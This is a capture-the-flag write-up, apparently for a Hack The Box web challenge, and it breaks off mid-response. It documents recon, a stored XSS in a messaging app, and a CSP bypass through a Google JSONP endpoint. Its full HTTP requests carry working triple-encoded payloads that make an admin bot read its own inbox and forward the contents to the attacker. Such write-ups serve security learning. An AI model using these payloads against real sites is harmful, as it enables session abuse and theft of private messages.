
Massagold
Introduction:
Someone is using sealed harbor letters to make Damas’s ships look late, unsafe, and unreliable. If this continues, Eastreach merchants will leave his ports and his enemies will profit from the panic. Lyra needs to steal the first false letter from the harbor office and bring it to Damas, because proof of sabotage is the only thing that can make him open his routes to Stormbound.
Description:
The “sealed harbor letters” are the messages exchanged through Rookery’s inbox system, sealed until opened, just like the app’s <pre class="letter-copy"> scrolls. The “harbor office” is the admin account: an automated bot that reads every letter addressed to it. The “first false letter” Lyra needs to steal is the earliest message in admin’s inbox. Since we can’t simply walk into the harbor office and read admin’s mail ourselves because of access control, we instead forge a letter admin will open on our behalf: a stored XSS payload disguised as an innocent message. When admin’s bot opens it, the letter’s “ink”, our injected script comes alive in admin’s hands, not ours, letting it fetch its own letters and hand them back to us through a second letter, addressed to ourselves. The Content-Security-Policy is the harbor’s own seal of authenticity, meant to stop forged scripts from running, but a loophole in its trusted-senders list (Google’s JSONP endpoint) lets our forged seal pass inspection anyway.
Reconnaissance & Enumeration:
1┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026/Massagold]
2└──╼ $whatweb http://154.57.164.68:31210/
3http://154.57.164.68:31210/ [302 Found] Country[UNITED STATES][US], HTTPServer[nginx/1.26.3], IP[154.57.164.68], RedirectLocation[/login], UncommonHeaders[content-security-policy], X-Powere
4d-By[Express], nginx[1.26.3]
5http://154.57.164.68:31210/login [200 OK] Country[UNITED STATES][US], HTML5, HTTPServer[nginx/1.26.3], IP[154.57.164.68], PasswordField[password], Title[Login], UncommonHeaders[content-secu
6rity-policy], X-Powered-By[Express], nginx[1.26.3]
7
8┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026/Massagold]
9└──╼ $gobuster dir -u http://154.57.164.68:31210/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -c s%3ACWgJOWXDnjxCiZCus07UzE-0n16ic8V7.ZpeYsIYD5uh7QFBhQIm1X07Wi9lNXRu5dODMJeavS08
10===============================================================
11Gobuster v3.6
12by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
13===============================================================
14[+] Url: http://154.57.164.68:31210/
15[+] Method: GET
16[+] Threads: 10
17[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
18[+] Negative Status codes: 404
19[+] Cookies: s%3ACWgJOWXDnjxCiZCus07UzE-0n16ic8V7.ZpeYsIYD5uh7QFBhQIm1X07Wi9lNXRu5dODMJeavS08
20[+] User Agent: gobuster/3.6
21[+] Timeout: 10s
22===============================================================
23Starting gobuster in directory enumeration mode
24===============================================================
25/Login (Status: 200) [Size: 823]
26/assets (Status: 301) [Size: 156] [--> /assets/]
27/login (Status: 200) [Size: 823]
28/register (Status: 200) [Size: 831]
29Progress: 20481 / 20482 (100.00%)
30===============================================================
31Finished
32===============================================================
33┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026/Massagold]
34└──╼ $
While we wait on Gobuster to finish we can start fingerprinting the website with Burp.
Open and configure Burp.
Access the website.
I tried a basic URL encoded SQL injection username=admin&password=%27+OR+1%3D1%3B-- which failed:
REQUEST:
POST /login HTTP/1.1
Host: 154.57.164.68:31210
Content-Length: 41
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://154.57.164.68:31210
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://154.57.164.68:31210/login
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
username=admin&password=%27+OR+1%3D1%3B--
[...]
RESPONSE:
HTTP/1.1 401 Unauthorized
Server: nginx/1.26.3
Date: Sun, 26 Jul 2026 22:55:48 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 889
Connection: keep-alive
X-Powered-By: Express
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googleapis.com; style-src 'self'; img-src 'self' data:; font-src 'self' data:; connect-src 'self'; object-src 'none'; form-action 'self'; frame-ancestors 'none'
ETag: W/"379-+72CoEHM3K58oYZ5fECdPTp9ujQ"
I created a new user username=ballademageren&password=Jutlandia1234 and got Set-Cookie: connect.sid=s%3ACWgJOWXDnjxCiZCus07UzE-0n16ic8V7.ZpeYsIYD5uh7QFBhQIm1X07Wi9lNXRu5dODMJeavS08; back in my response:
REQUEST:
POST /register HTTP/1.1
Host: 154.57.164.68:31210
Content-Length: 46
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://154.57.164.68:31210
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://154.57.164.68:31210/register
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
username=ballademageren&password=Jutlandia1234
[...]
RESPONSE:
HTTP/1.1 302 Found
Server: nginx/1.26.3
Date: Sun, 26 Jul 2026 22:56:34 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 30
Connection: keep-alive
X-Powered-By: Express
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googleapis.com; style-src 'self'; img-src 'self' data:; font-src 'self' data:; connect-src 'self'; object-src 'none'; form-action 'self'; frame-ancestors 'none'
Location: /
Vary: Accept
Set-Cookie: connect.sid=s%3ACWgJOWXDnjxCiZCus07UzE-0n16ic8V7.ZpeYsIYD5uh7QFBhQIm1X07Wi9lNXRu5dODMJeavS08; Path=/; HttpOnly
<p>Found. Redirecting to /</p>
I tried to sent a message to a none existing user called test:
REQUEST:
POST /messages HTTP/1.1
Host: 154.57.164.68:31210
Content-Length: 29
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://154.57.164.68:31210
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://154.57.164.68:31210/messages/new
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3ACWgJOWXDnjxCiZCus07UzE-0n16ic8V7.ZpeYsIYD5uh7QFBhQIm1X07Wi9lNXRu5dODMJeavS08
Connection: keep-alive
to_username=test&content=test
[...]
RESPONSE:
HTTP/1.1 404 Not Found
Server: nginx/1.26.3
Date: Sun, 26 Jul 2026 22:57:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1573
Connection: keep-alive
X-Powered-By: Express
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googleapis.com; style-src 'self'; img-src 'self' data:; font-src 'self' data:; connect-src 'self'; object-src 'none'; form-action 'self'; frame-ancestors 'none'
ETag: W/"625-kpTwcpNVS4msHDsMD7crQW1aLdA"
As expected it failed.
Now i try with the admin user:
REQUEST:
POST /messages HTTP/1.1
Host: 154.57.164.68:31210
Content-Length: 30
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://154.57.164.68:31210
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://154.57.164.68:31210/messages
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3ACWgJOWXDnjxCiZCus07UzE-0n16ic8V7.ZpeYsIYD5uh7QFBhQIm1X07Wi9lNXRu5dODMJeavS08
Connection: keep-alive
to_username=admin&content=test
[...]
RESPONSE:
HTTP/1.1 302 Found
Server: nginx/1.26.3
Date: Sun, 26 Jul 2026 22:57:45 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 30
Connection: keep-alive
X-Powered-By: Express
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googleapis.com; style-src 'self'; img-src 'self' data:; font-src 'self' data:; connect-src 'self'; object-src 'none'; form-action 'self'; frame-ancestors 'none'
Location: /
Vary: Accept
<p>Found. Redirecting to /</p>
Okay so the admin user exists.
Another gobuster scan on the assets folder:
┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026/Massagold]
└──╼ $gobuster dir -u http://154.57.164.68:31210/assets/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -c s%3ACWgJOWXDnjxCiZCus07UzE-0n16ic8V7.ZpeYsIYD5uh7QFBhQIm1X07Wi9lNXRu5dODMJea
vS08 -x php,js,json,xml,html,txt,conf
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://154.57.164.68:31210/assets/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] Cookies: s%3ACWgJOWXDnjxCiZCus07UzE-0n16ic8V7.ZpeYsIYD5uh7QFBhQIm1X07Wi9lNXRu5dODMJeavS08
[+] User Agent: gobuster/3.6
[+] Extensions: xml,html,txt,conf,php,js,json
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/compose.js (Status: 200) [Size: 349]
/message.js (Status: 200) [Size: 544]
Progress: 163848 / 163856 (100.00%)
===============================================================
Finished
===============================================================
┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026/Massagold]
└──╼ $
Check /assets/compose.js file:
REQUEST:
GET /assets/compose.js HTTP/1.1
Host: 154.57.164.68:31210
Accept-Language: en-GB,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: */*
Referer: http://154.57.164.68:31210/messages/new
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3ACWgJOWXDnjxCiZCus07UzE-0n16ic8V7.ZpeYsIYD5uh7QFBhQIm1X07Wi9lNXRu5dODMJeavS08
Connection: keep-alive
[...]
RESPONSE:
HTTP/1.1 200 OK
Server: nginx/1.26.3
Date: Sun, 26 Jul 2026 22:56:58 GMT
Content-Type: application/javascript; charset=UTF-8
Content-Length: 349
Connection: keep-alive
X-Powered-By: Express
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googleapis.com; style-src 'self'; img-src 'self' data:; font-src 'self' data:; connect-src 'self'; object-src 'none'; form-action 'self'; frame-ancestors 'none'
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Tue, 14 Jul 2026 02:37:37 GMT
ETag: W/"15d-19f5e7cad68"
(() => {
const form = document.querySelector('[data-letter-form]');
if (!form) {
return;
}
form.addEventListener('submit', () => {
form.querySelectorAll('[data-field]').forEach((editor) => {
const input = form.querySelector(`[name="${editor.dataset.field}"]`);
input.value = editor.innerText.trim();
});
});
})();
And check /assets/message.js file:
REQUEST:
GET /assets/message.js HTTP/1.1
Host: 154.57.164.68:31210
Accept-Language: en-GB,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: */*
Referer: http://154.57.164.68:31210/messages/new
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3ACWgJOWXDnjxCiZCus07UzE-0n16ic8V7.ZpeYsIYD5uh7QFBhQIm1X07Wi9lNXRu5dODMJeavS08
Connection: keep-alive
RESPONSE:
HTTP/1.1 200 OK
Server: nginx/1.26.3
Date: Sun, 26 Jul 2026 23:43:01 GMT
Content-Type: application/javascript; charset=UTF-8
Content-Length: 544
Connection: keep-alive
X-Powered-By: Express
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googleapis.com; style-src 'self'; img-src 'self' data:; font-src 'self' data:; connect-src 'self'; object-src 'none'; form-action 'self'; frame-ancestors 'none'
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Tue, 14 Jul 2026 02:37:37 GMT
ETag: W/"220-19f5e7cad68"
(() => {
const openButton = document.querySelector('[data-open-seal]');
const sealedScroll = document.querySelector('[data-sealed-scroll]');
const openedScroll = document.querySelector('[data-opened-scroll]');
const title = document.querySelector('[data-message-title]');
if (!openButton || !sealedScroll || !openedScroll) {
return;
}
openButton.addEventListener('click', () => {
sealedScroll.hidden = true;
openedScroll.hidden = false;
if (title) {
title.textContent = 'Opened Letter';
}
});
})();
They didn’t give us much to play with.
I created a new user called tester and send a message to the user ballademageren to see if there was something interesting and the first message received to ballademageren had an id of 8 /messages/8:
REQUEST:
GET /messages/8 HTTP/1.1
Host: 154.57.164.67:30467
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://154.57.164.67:30467/
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3Av2S8v_B_LCLBbZK4G7rHoCvqQH04ANS3.jqUvnGSueVMhMvsn6FLRC3ZUclcNqYcuGYAZEOHDC4A
Connection: keep-alive
[...]
RESPONSE:
HTTP/1.1 200 OK
Server: nginx/1.26.3
Date: Mon, 27 Jul 2026 11:42:45 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1101
Connection: keep-alive
X-Powered-By: Express
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googleapis.com; style-src 'self'; img-src 'self' data:; font-src 'self' data:; connect-src 'self'; object-src 'none'; form-action 'self'; frame-ancestors 'none'
ETag: W/"44d-PlF/2uYdKrxYVPcpimPK+BP2lb8"
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Message</title>
<link rel="stylesheet" href="/assets/styles.css">
</head>
<body>
<nav>
<span>Rookery</span>
<a href="/">Inbox</a>
<a href="/messages/new">Compose</a>
<form action="/logout" method="post">
<button type="submit">Logout</button>
</form>
</nav>
<main>
<h1 data-message-title>Sealed Letter</h1>
<section class="sealed-scroll" data-sealed-scroll>
<button class="open-seal-button" type="button" data-open-seal aria-label="Open sealed letter"></button>
</section>
<section class="actual-scroll read-scroll" data-opened-scroll hidden>
<div class="scroll-content">
<div class="letter-meta">
<strong>From: tester</strong>
<span class="muted">Sent by tester on 2026-07-27 11:41:54</span>
</div>
<pre class="letter-copy">Tester her</pre>
</div>
</section>
</main>
<script src="/assets/message.js" defer></script>
</body>
</html>
After seeing the /messages/8 I send the request to repeater and try to check the IDs from 1-7 but was hit with 404 every time because of access control.
We can create a user.
We can send a message to another user (to_username + content).
We receive messages on /messages/id.
We found out admin exists because of the 302 Found response we got instead of a 404 Not Found on our test messages.
Stored XSS via unescaped EJS output:
Lets try to test messages for XSS with repeater:
REQUEST:
POST /messages HTTP/1.1
Host: 154.57.164.67:30467
Content-Length: 60
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://154.57.164.67:30467
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://154.57.164.67:30467/messages/new
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3Av2S8v_B_LCLBbZK4G7rHoCvqQH04ANS3.jqUvnGSueVMhMvsn6FLRC3ZUclcNqYcuGYAZEOHDC4A
Connection: keep-alive
to_username=ballademageren&content=<script>alert(1)</script>
[...]
RESPONSE:
HTTP/1.1 302 Found
Server: nginx/1.26.3
Date: Mon, 27 Jul 2026 11:59:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 30
Connection: keep-alive
X-Powered-By: Express
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googleapis.com; style-src 'self'; img-src 'self' data:; font-src 'self' data:; connect-src 'self'; object-src 'none'; form-action 'self'; frame-ancestors 'none'
Location: /
Vary: Accept
<p>Found. Redirecting to /</p>
Lets check if our XSS payload has been injected to the HTML:
REQUEST:
GET /messages/10 HTTP/1.1
Host: 154.57.164.67:30467
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://154.57.164.67:30467/
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3Av2S8v_B_LCLBbZK4G7rHoCvqQH04ANS3.jqUvnGSueVMhMvsn6FLRC3ZUclcNqYcuGYAZEOHDC4A
Connection: keep-alive
[...]
RESPONSE:
HTTP/1.1 200 OK
Server: nginx/1.26.3
Date: Mon, 27 Jul 2026 11:59:14 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1132
Connection: keep-alive
X-Powered-By: Express
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googleapis.com; style-src 'self'; img-src 'self' data:; font-src 'self' data:; connect-src 'self'; object-src 'none'; form-action 'self'; frame-ancestors 'none'
ETag: W/"46c-q8/cW1OtaBvThVn9CAffaCNSpHw"
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Message</title>
<link rel="stylesheet" href="/assets/styles.css">
</head>
<body>
<nav>
<span>Rookery</span>
<a href="/">Inbox</a>
<a href="/messages/new">Compose</a>
<form action="/logout" method="post">
<button type="submit">Logout</button>
</form>
</nav>
<main>
<h1 data-message-title>Sealed Letter</h1>
<section class="sealed-scroll" data-sealed-scroll>
<button class="open-seal-button" type="button" data-open-seal aria-label="Open sealed letter"></button>
</section>
<section class="actual-scroll read-scroll" data-opened-scroll hidden>
<div class="scroll-content">
<div class="letter-meta">
<strong>From: ballademageren</strong>
<span class="muted">Sent by ballademageren on 2026-07-27 11:59:03</span>
</div>
<pre class="letter-copy"><script>alert(1)</script></pre>
</div>
</section>
</main>
<script src="/assets/message.js" defer></script>
</body>
</html>
We can see that it indeed has <pre class="letter-copy"><script>alert(1)</script></pre>. This confirms that EJSs <%- %> output tag is used instead of <%= %> in the inbox. The code escapes HTML automatically. Which gives us a stored XSS vulnerability.
Okay i think that there is a bot running the admin user and that it checks the messages in admins inbox. We need to craft and send a stored XSS that will make admin send us the flag, which probably is in a message in admins inbox since the user ballademagerens first message has the ID 8. But to achieve that we will have to find a way to bypass the Content-Security-Policy (CSP).
CSP bypass via Google JSONP whitelist:
We can’t use a webhook site because of the CSP headers connect-src 'self'; img-src 'self' data: .
After a some investigation and a couple of test i found out that because of script-src 'self' https://www.googleapis.com in the CSP we are allowed to load https://www.googleapis.com/customsearch/v1?callback=... as a JSONP endpoint. This CSP-bypass vulnerability is also known as “JSONP callback abuse”.
Exploitation:
Lets test the bot by trying to make it send us a simple message.
The payload we end up with is:
<script src="https://www.googleapis.com/customsearch/v1?callback=(function(){fetch('/messages',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'to_username=ballademageren%26content=bot-fired'});return function(){}})()"></script>
We need to URL-encode it 3 times.
The first layer of URL encoding, takes care of the JS code in the callback= that needs to be part of a valid URL query string. This means {, }, ' needs to be encoded so they don’t break the URL.
The second layer of the URL encoding, is the whole <script src="..."> tag that is set as content in a POST form field (application/x-www-form-urlencoded) so the HTML string needs to be encoded again to survive as form-data.
The third layer of the URL encoding, is because the payload includes another fetch-body (to_username=...&content=...) that also needs to be URL encoded to be valid (application/x-www-form-urlencoded).
Now lets send it:
REQUEST:
POST /messages HTTP/1.1
Host: 154.57.164.67:30467
Content-Length: 523
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://154.57.164.67:30467
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://154.57.164.67:30467/messages/new
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3Av2S8v_B_LCLBbZK4G7rHoCvqQH04ANS3.jqUvnGSueVMhMvsn6FLRC3ZUclcNqYcuGYAZEOHDC4A
Connection: keep-alive
to_username=admin&content=%3Cscript%20src%3D%22https%3A%2F%2Fwww.googleapis.com%2Fcustomsearch%2Fv1%3Fcallback%3D%2528function%2528%2529%257Bfetch%2528%2527%252Fmessages%2527%252C%257Bmethod%253A%2527POST%2527%252Ccredentials%253A%2527include%2527%252Cheaders%253A%257B%2527Content-Type%2527%253A%2527application%252Fx-www-form-urlencoded%2527%257D%252Cbody%253A%2527to_username%253Dballademageren%2526content%253Dbot-fired%2527%257D%2529%253Breturn%2520function%2528%2529%257B%257D%257D%2529%2528%2529%22%3E%3C%2Fscript%3E
[...]
RESPONSE:
HTTP/1.1 302 Found
Server: nginx/1.26.3
Date: Mon, 27 Jul 2026 13:08:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 30
Connection: keep-alive
X-Powered-By: Express
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googleapis.com; style-src 'self'; img-src 'self' data:; font-src 'self' data:; connect-src 'self'; object-src 'none'; form-action 'self'; frame-ancestors 'none'
Location: /
Vary: Accept
<p>Found. Redirecting to /</p>
Go back to our inbox and confirm it worked, we got admin to send us a message.
REQUEST:
GET /messages/13 HTTP/1.1
Host: 154.57.164.67:30467
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://154.57.164.67:30467/
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3Av2S8v_B_LCLBbZK4G7rHoCvqQH04ANS3.jqUvnGSueVMhMvsn6FLRC3ZUclcNqYcuGYAZEOHDC4A
Connection: keep-alive
[...]
RESPONSE:
HTTP/1.1 200 OK
Server: nginx/1.26.3
Date: Mon, 27 Jul 2026 13:08:19 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1098
Connection: keep-alive
X-Powered-By: Express
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googleapis.com; style-src 'self'; img-src 'self' data:; font-src 'self' data:; connect-src 'self'; object-src 'none'; form-action 'self'; frame-ancestors 'none'
ETag: W/"44a-8kjKjKHgx/PjdsmL2N7hBmRL0J8"
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Message</title>
<link rel="stylesheet" href="/assets/styles.css">
</head>
<body>
<nav>
<span>Rookery</span>
<a href="/">Inbox</a>
<a href="/messages/new">Compose</a>
<form action="/logout" method="post">
<button type="submit">Logout</button>
</form>
</nav>
<main>
<h1 data-message-title>Sealed Letter</h1>
<section class="sealed-scroll" data-sealed-scroll>
<button class="open-seal-button" type="button" data-open-seal aria-label="Open sealed letter"></button>
</section>
<section class="actual-scroll read-scroll" data-opened-scroll hidden>
<div class="scroll-content">
<div class="letter-meta">
<strong>From: admin</strong>
<span class="muted">Sent by admin on 2026-07-27 13:08:09</span>
</div>
<pre class="letter-copy">bot-fired</pre>
</div>
</section>
</main>
<script src="/assets/message.js" defer></script>
</body>
</html>
Perfect, we had bot send us a message!
Now we just need to send us /messages/1 or 2 or 3 etc.
Payload:
(function(){ fetch('/messages/1', { credentials: 'include' }) .then(function(r){ return r.ok ? r.text() : 'ERR-' + r.status; }) .then(function(t){ fetch('/messages', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'to_username=ballademageren&content=' + encodeURIComponent(t) }); }); return function(){}; })()
We get the message ID 1 from admin and re-post the HTML back to ballademageren as a new message.
After playing with the payload and the URL-encoding for a bit i finally end up with a payload that can send a message from admins inbox by the message id:
REQUEST:
POST /messages HTTP/1.1
Host: 154.57.164.83:31854
Content-Length: 806
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://154.57.164.83:31854
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://154.57.164.83:31854/messages/new
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3AbJIE-XBlT3TgOyMG1cPud0mOqPFwfpwK.ezRz86JaVkHEgupHXh08JKQBWGK90z4RKIFjSchXnew
Connection: keep-alive
to_username=admin&content=%3Cscript%20src%3D%22https%3A%2F%2Fwww.googleapis.com%2Fcustomsearch%2Fv1%3Fcallback%3D%2528function%2528%2529%257Bfetch%2528%2527%252Fmessages%252F1%2527%252C%257Bcredentials%253A%2527include%2527%257D%2529.then%2528function%2528r%2529%257Breturn%2520r.ok%253Fr.text%2528%2529%253A%2527ERR-%2527%252Br.status%253B%257D%2529.then%2528function%2528t%2529%257Bfetch%2528%2527%252Fmessages%2527%252C%257Bmethod%253A%2527POST%2527%252Ccredentials%253A%2527include%2527%252Cheaders%253A%257B%2527Content-Type%2527%253A%2527application%252Fx-www-form-urlencoded%2527%257D%252Cbody%253A%2527to_username%253Dballademageren%2526content%253D%2527%252BencodeURIComponent%2528t%2529%257D%2529%253B%257D%2529%253Breturn%2520function%2528%2529%257B%257D%257D%2529%2528%2529%22%3E%3C%2Fscript%3E
[...]
Response:
HTTP/1.1 302 Found
Server: nginx/1.26.3
Date: Mon, 27 Jul 2026 15:03:36 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 30
Connection: keep-alive
X-Powered-By: Express
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googleapis.com; style-src 'self'; img-src 'self' data:; font-src 'self' data:; connect-src 'self'; object-src 'none'; form-action 'self'; frame-ancestors 'none'
Location: /
Vary: Accept
<p>Found. Redirecting to /</p>
Now check our message from admin:
REQUEST:
GET /messages/9 HTTP/1.1
Host: 154.57.164.83:31854
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://154.57.164.83:31854/
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3AbJIE-XBlT3TgOyMG1cPud0mOqPFwfpwK.ezRz86JaVkHEgupHXh08JKQBWGK90z4RKIFjSchXnew
Connection: keep-alive
[...]
RESPONSE:
HTTP/1.1 200 OK
Server: nginx/1.26.3
Date: Mon, 27 Jul 2026 15:05:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2299
Connection: keep-alive
X-Powered-By: Express
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googleapis.com; style-src 'self'; img-src 'self' data:; font-src 'self' data:; connect-src 'self'; object-src 'none'; form-action 'self'; frame-ancestors 'none'
ETag: W/"8fb-9Q3mQtaVxCqO+mFC/b1E3Kdo2JQ"
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Message</title>
<link rel="stylesheet" href="/assets/styles.css">
</head>
<body>
<nav>
<span>Rookery</span>
<a href="/">Inbox</a>
<a href="/messages/new">Compose</a>
<form action="/logout" method="post">
<button type="submit">Logout</button>
</form>
</nav>
<main>
<h1 data-message-title>Sealed Letter</h1>
<section class="sealed-scroll" data-sealed-scroll>
<button class="open-seal-button" type="button" data-open-seal aria-label="Open sealed letter"></button>
</section>
<section class="actual-scroll read-scroll" data-opened-scroll hidden>
<div class="scroll-content">
<div class="letter-meta">
<strong>From: admin</strong>
<span class="muted">Sent by admin on 2026-07-27 15:03:43</span>
</div>
<pre class="letter-copy"><!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Message</title>
<link rel="stylesheet" href="/assets/styles.css">
</head>
<body>
<nav>
<span>Rookery</span>
<a href="/">Inbox</a>
<a href="/messages/new">Compose</a>
<form action="/logout" method="post">
<button type="submit">Logout</button>
</form>
</nav>
<main>
<h1 data-message-title>Sealed Letter</h1>
<section class="sealed-scroll" data-sealed-scroll>
